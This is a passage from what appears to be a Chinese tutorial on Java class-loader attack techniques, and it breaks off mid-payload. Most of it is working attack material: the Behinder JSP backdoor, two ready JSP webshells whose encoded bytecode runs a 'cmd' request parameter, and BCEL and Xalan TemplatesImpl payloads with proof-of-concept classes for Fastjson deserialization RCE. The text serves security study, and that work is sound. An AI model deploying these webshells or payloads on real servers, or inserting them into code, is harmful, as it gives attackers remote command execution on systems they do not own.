以冰蝎为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击,其中equals方法传入的pageContext对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}
%>
<%if (request.getMethod().equals("POST")) {String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u", k);Cipher c = Cipher.getInstance("AES");c.init(2, new SecretKeySpec(k.getBytes(), "AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>

把上面自定义加载器代码改一下成jsp webshell

<%@ page import="java.security.PermissionCollection" %>
<%@ page import="java.security.Permissions" %>
<%@ page import="java.security.AllPermission" %>
<%@ page import="java.security.ProtectionDomain" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>自定义类加载器的JSP Webshell</h2>
<%response.getOutputStream().write(new ClassLoader() {@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if (name.contains("ByteCodeEvil")) {return findClass(name);}return super.loadClass(name);}@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MQnl0ZUNvZGVFdmlsOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMQnl0ZUNvZGVFdmlsBwBwDABxAHIBABJCeXRlQ29kZUV2aWwuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");PermissionCollection pc = new Permissions();pc.add(new AllPermission());ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);} catch (Exception e) {e.printStackTrace();}return super.findClass(name);}}.loadClass("ByteCodeEvil").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>
</body>
</html>
  • Bytecode Viewer 工具反编译

https://github.com/Konloch/bytecode-viewer/releases

0x10 BCEL ClassLoader

10.1 BCEL是什么?

BCEL原本是Apache Jakarta的一个子项目,后来成为了Apache Commons的一个子项目。Apache Commons Collections想必大家都知道,就是常说的CC链,也是Apache Commons的一个子项目

BCEL(Apache Commons BCEL)是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$ 标识的类做特殊处理,该特性经常被用于编写各类攻击Payload

BCEL主要用于分析、创建、操纵Java class文件,包含在原生原生JDK中(com.sun.org.apache.bcel),之所以包含在原生JDK主要原因可能是为了支撑Java XML的一些功能,Java XML功能包含了JAXP(Java API for XML Processing)规范,Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

因为需要编译文件,实际上是动态生成Java字节码,BCEL正是一个Java处理字节码的库,所以Apache Xalan又依赖了BCEL

注意:使用Java8(不要使用8u251以后版本),会出现异常,可能无法看到弹窗,建议使用Java7或者6

BCEL Classloader在 JDK < 8u251以前是在rt.jar里面,java8u251后 com.sun.org.apache.bcel.internal.util.ClassLoader这个类不在了

10.2 BCEL攻击原理

当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass 加载一个类名中带有$$BCEL$$ 的类时会截取出$$BCEL$$ 后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode 将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

10.3 BCEL兼容性问题

BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes 就已经过时了,如下:

/**
* @param bytes the raw bytes of this Utf-8
* @deprecated (since 6.0)
*/
@java.lang.Deprecated
public final void setBytes( final String bytes ) {throw new UnsupportedOperationException();
}
  • BCEL ClassLoader去哪了的文章

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u251、JDK9

10.4 BCEL编解码

  • BCEL编码:
private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}];// BCEL编码类字节码
String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true);

编码后的类名:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$dbn$d...... ,BCEL会对类字节码进行编码

  • BCEL解码:
int    index    = className.indexOf("$$BCEL$$");
String realName = className.substring(index + 8);// BCEL解码类字节码
byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);

如果被加载的类名中包含了$$BCEL$$ 关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类

10.5 BCEL编码

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;public class BcelEvil {String res;public BcelEvil(String cmd) throws IOException {StringBuilder stringBuilder = new StringBuilder();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));String line;while((line = bufferedReader.readLine()) != null) {stringBuilder.append(line).append("\n");}res = stringBuilder.toString();}@Overridepublic String toString() {return res;}public static void main(String[] args) throws IOException {InputStream inputStream = BcelEvil.class.getClassLoader().getResourceAsStream("BcelEvil.class");byte[] bytes = new byte[inputStream.available()];inputStream.read(bytes);String code = Utility.encode(bytes, true);System.out.println("$$BCEL$$" + code);}
}

10.6 jsp格式webshell

<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());
%>
</body>
</html>

10.7 弹出计算机

https://blog.csdn.net/xd_2021/article/details/121878806

10.8 BCEL FastJson攻击链分析

Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链,利用代码如下:

{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85R$5bO$TA$U$fe$a6$z$dde$bbXX$$$e2$F$z$8aPJ$e9r$x$X$r$3e$d8$60$a2$U1$b6$b1$89o$d3$e9$a4$ynw$9b$dd$a9$c2$l1$f1$X$f0$cc$L$S$l$fc$B$fe$p$l4$9e$5d$h$U$rqvsf$ce7$e7$7c$e7$9b$99$f3$f5$c7$e7$_$AV$b0i$m$8b$9b$3an$e9$b8m$60$Kwt$dc5$90$c3$b4$8e$7b$3a$ee$eb$981$f0$A$b3$91$99$d3$907$60b$5eCA$c3$CCz$db$f1$i$f5$98$n$99$9f$7f$cd$90$aa$f8$z$c9$90$ad$3a$9e$7c$d1$eb4eP$e7M$97$Q$7d$5b$b8$fd$c8$a1$9a$e2$e2$ed$k$ef$c6$5b$g$8a$c4$c9$60$d4$fc$5e$m$e4S$t$8a$b6$ea2TO$w$3b$d5$8a$cb$c3$b0t$c8$dfq$T$c3$Ya$98$f0$bb$d2$cb$z$f2$5c$85$bb$a2$e7r$e5$H$r$de$ed2h$7eX$f2x$87$f8$WM$94$60$T$d2p$bc$96$ff$3e$a4$K$s$96$b0L$c9$82$92r$cb$x$abk$e5$f5$8d$cd$ad$a5$fe$8aa$80$f4$f6$8e$Y$c6D$_ps$aeOq$H$7e$a8$kn$d1$b05$ac$98X$c5$9a$892$d6$ZF$p5$b6$e3$db$cf$f6w$8e$84$ec$w$c7$f7LlD$e2$e6$84$df$b1$b9$d7$e4$8e$jJa$8bH$bc$eb$f3$96$M$ecK$Hb$Y$8eI$5c$ee$b5$ed$fd$e6$a1$U$ea$STS$81$e3$b5$_C$c7$a1$92$j$86L$5b$aa$97$B$5dB$a0$8e$Zf$f3$d5$bf$b3$k$cd$ff$L$d1$ed$86$8a$H$wl8$ea$80a$fc$aa$ac7$M$p$bf$d1W$3dO9$jz$J$83$ea$5d8$e3$f9$3f$c9$fb0$b1$a7$e4$91$Ut$fc$ff$a8$n$ddB$86$n$rd$bb$b4$a9$e2$3e$a8$H$5cHL$e3$g$f5$604$S$60$d1K$93$b5$c8$9b$a2$99$d1$3cP$f8$EvJ$L$ba$7f$b2$e9_$mt$8c$5d$84$7e$a0$d4$q$cde$x$b1k$r$cf$91$aa$$X$DgH$7f$c4$a0$a5$ed$9e$m$bb$60$e9$b1$9b$b6$Gw$cfa$U$ce$90i$9c$40$df$x$9ea$e8$94HfP$84M$bd$9d$88K$94$90$n$ab$T$e5$m$7d$Z$wab$SC$b1$d2$Z$f2$8a$Y$a7$e8Qj$ac1$aca$82$3c$90$97$fa$8eI$N$T$f4g$9ek$b8$fe$N$v$o$9e$8c$8fu$e3$t$b2$b7e$b6p$D$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}

FastJson自动调用setter方法修改org.apache.commons.dbcp.BasicDataSource类的driverClassName和driverClassLoader值,driverClassName是经过BCEL编码后的com.anbai.sec.classloader.TestBCELClass类字节码,driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。

com.anbai.sec.classloader.TestBCELClass类:

package com.anbai.sec.classloader;import java.io.IOException;public class TestBCELClass {static {String command = "open -a Calculator.app";String osName  = System.getProperty("os.name");if (osName.startsWith("Windows")) {command = "calc 12345678901234567";} else if (osName.startsWith("Linux")) {command = "curl localhost:9999/";}try {Runtime.getRuntime().exec(command);} catch (IOException e) {e.printStackTrace();}}}

使用BCEL编码com.anbai.sec.classloader.TestBCELClass类字节码:

/**
* 将一个Class文件编码成BCEL类
*
* @param classFile Class文件路径
* @return 编码后的BCEL类
* @throws IOException 文件读取异常
*/
public static String bcelEncode(File classFile) throws IOException {return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);
}

从JSON反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于FastJson会自动调用getter方法,org.apache.commons.dbcp.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,详情参见:com.alibaba.fastjson.util.TypeUtils#computeGetters(https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/util/TypeUtils.java#L1904),因此FastJson最终还是调用了getConnection()方法。

当getConnection()方法被调用时就会使用注入进来的org.apache.bcel.util.ClassLoader类加载器加载注入进来恶意类字节码,如下图(BasicDataSource.java):

因为使用了反射的方式加载com.anbai.sec.classloader.TestBCELClass类,而且还特意指定了需要初始化类(Class.forName(driverClassName, true, driverClassLoader);),因此该类的静态语句块(static{...} )将会被执行,完整的攻击示例代码如下:

package com.anbai.sec.classloader;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.commons.dbcp.BasicDataSource;
import org.javaweb.utils.FileUtils;import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;public class BCELClassLoader {/*** com.anbai.sec.classloader.TestBCELClass类字节码,Windows和MacOS弹计算器,Linux执行curl localhost:9999* </pre>*/private static final byte[] CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 50, 0, // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/BCELClassLoader.java};/*** 将一个Class文件编码成BCEL类** @param classFile Class文件路径* @return 编码后的BCEL类* @throws IOException 文件读取异常*/public static String bcelEncode(File classFile) throws IOException {return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);}/*** BCEL命令执行示例,测试时请注意兼容性问题:① 适用于BCEL 6.0以下。② JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9** @throws Exception 类加载异常*/public static void bcelTest() throws Exception {// 使用反射是为了防止高版本JDK不存在com.sun.org.apache.bcel.internal.util.ClassLoader类
//        Class<?> bcelClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");// 创建BCEL类加载器
//            ClassLoader classLoader = (ClassLoader) bcelClass.newInstance();
//            ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();ClassLoader classLoader = new org.apache.bcel.util.ClassLoader();// BCEL编码类字节码String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);System.out.println(className);Class<?> clazz = Class.forName(className, true, classLoader);System.out.println(clazz);}/*** Fastjson 1.1.15 - 1.2.4 反序列化RCE示例,示例程序考虑到测试环境的兼容性,采用的都是Apache commons dbcp和bcel** @throws IOException BCEL编码异常*/public static void fastjsonRCE() throws IOException {// BCEL编码类字节码String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);// 构建恶意的JSONMap<String, Object> dataMap        = new LinkedHashMap<String, Object>();Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();dataMap.put("@type", BasicDataSource.class.getName());dataMap.put("driverClassName", className);classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());dataMap.put("driverClassLoader", classLoaderMap);String json = JSON.toJSONString(dataMap);System.out.println(json);JSONObject jsonObject = JSON.parseObject(json);System.out.println(jsonObject);}public static void main(String[] args) throws Exception {//        bcelTest();fastjsonRCE();}}

0x11 Xalan ClassLoader

Xalan和BCEL一样都经常被用于编写反序列化Payload,Oracle JDK默认也引用了Xalan,同时修改了原包名org.apache.xalan.xsltc.trax.TemplatesImpl为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Xalan最大的特点是可以传入类字节码并初始化(需要调用getOutputProperties方法),从而实现RCE,比如Fastjson和Jackson会使用反射调用getter/setter或成员变量映射的方式实现JSON反序列化。

TemplatesImpl中有一个_bytecodes成员变量,用于存储类字节码,通过JSON反序列化的方式可以修改该变量值,但因为该成员变量没有可映射的get/set 方法所以需要修改JSON库的虚拟化配置,比如Fastjson解析时必须启用Feature.SupportNonPublicField、Jackson必须开启JacksonPolymorphicDeserialization(调用mapper.enableDefaultTyping()),所以利用条件相对较高。

TemplatesImpl类:

在MacOS和Windows上执行示例程序后会弹出计算器,Linux会执行curl localhost:9999

package com.anbai.sec.classloader;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Properties;import static org.apache.commons.codec.binary.Base64.encodeBase64String;public class XalanTemplatesImpl {/*** com.anbai.sec.classloader.TestAbstractTranslet类字节码*/public static final byte[] CLASS_BYTES = new byte[]{-54, -2, -70, -66 // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/XalanTemplatesImpl.java};/*** 使用反射修改TemplatesImpl类的成员变量方式触发命令执行,Jackson和Fastjson采用这种方式触发RCE** @throws Exception 调用异常*/public static void invokeField() throws Exception {TemplatesImpl template      = new TemplatesImpl();Class<?>      templateClass = template.getClass();// 获取需要修改的成员变量Field byteCodesField        = templateClass.getDeclaredField("_bytecodes");Field nameField             = templateClass.getDeclaredField("_name");Field tFactoryField         = templateClass.getDeclaredField("_tfactory");Field outputPropertiesField = templateClass.getDeclaredField("_outputProperties");// 修改成员属性访问权限byteCodesField.setAccessible(true);nameField.setAccessible(true);tFactoryField.setAccessible(true);outputPropertiesField.setAccessible(true);// 设置类字节码byteCodesField.set(template, new byte[][]{CLASS_BYTES});// 设置名称nameField.set(template, "");// 设置TransformerFactoryImpl实例tFactoryField.set(template, new TransformerFactoryImpl());// 设置Properties配置outputPropertiesField.set(template, new Properties());// 触发defineClass调用链://   getOutputProperties->newTransformer->getTransletInstance->defineTransletClasses->defineClass// 触发命令执行调用链://   getOutputProperties->newTransformer->getTransletInstance->new TestAbstractTranslet->Runtime#exectemplate.getOutputProperties();}/*** 使用反射调用TemplatesImpl类的私有构造方法方式触发命令执行** @throws Exception 调用异常*/public static void invokeConstructor() throws Exception {// 获取TemplatesImpl构造方法Constructor<TemplatesImpl> constructor = TemplatesImpl.class.getDeclaredConstructor(byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class);// 修改访问权限constructor.setAccessible(true);// 创建TemplatesImpl实例TemplatesImpl template = constructor.newInstance(new byte[][]{CLASS_BYTES}, "", new Properties(), -1, new TransformerFactoryImpl());template.getOutputProperties();}/*** Fastjson 1.2.2 - 1.2.4反序列化RCE示例*/public static void fastjsonRCE() {// 构建恶意的JSONMap<String, Object> dataMap = new LinkedHashMap<String, Object>();dataMap.put("@type", TemplatesImpl.class.getName());dataMap.put("_bytecodes", new String[]{encodeBase64String(CLASS_BYTES)});dataMap.put("_name", "");dataMap.put("_tfactory", new Object());dataMap.put("_outputProperties", new Object());// 生成PayloadString json = JSON.toJSONString(dataMap);System.out.println(json);// 使用FastJson反序列化,但必须启用SupportNonPublicField特性JSON.parseObject(json, Object.class, new ParserConfig(), Feature.SupportNonPublicField);}public static void main(String[] args) throws Exception {//        invokeField();
//        invokeConstructor();fastjsonRCE();}}

11.1 Xalan FastJson攻击链分析

为了深入学习Xalan攻击链,这里我们以Fastjson为例分析其攻击原理,Fastjson(1.2.2 - 1.2.4)在启用了SupportNonPublicField特性时可以利用Xalan的TemplatesImpl实现RCE,具体的利用代码如下:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIAPgoADwAfCAAgCAAhCgAiACMIACQKACUAJggAJwgAKAgAKQoAKgArCgAqACwHAC0KAAwALgcALwcAMAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAvBwAxBwAtAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAMgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQAZVGVzdEFic3RyYWN0VHJhbnNsZXQuamF2YQwAEAARAQAWb3BlbiAt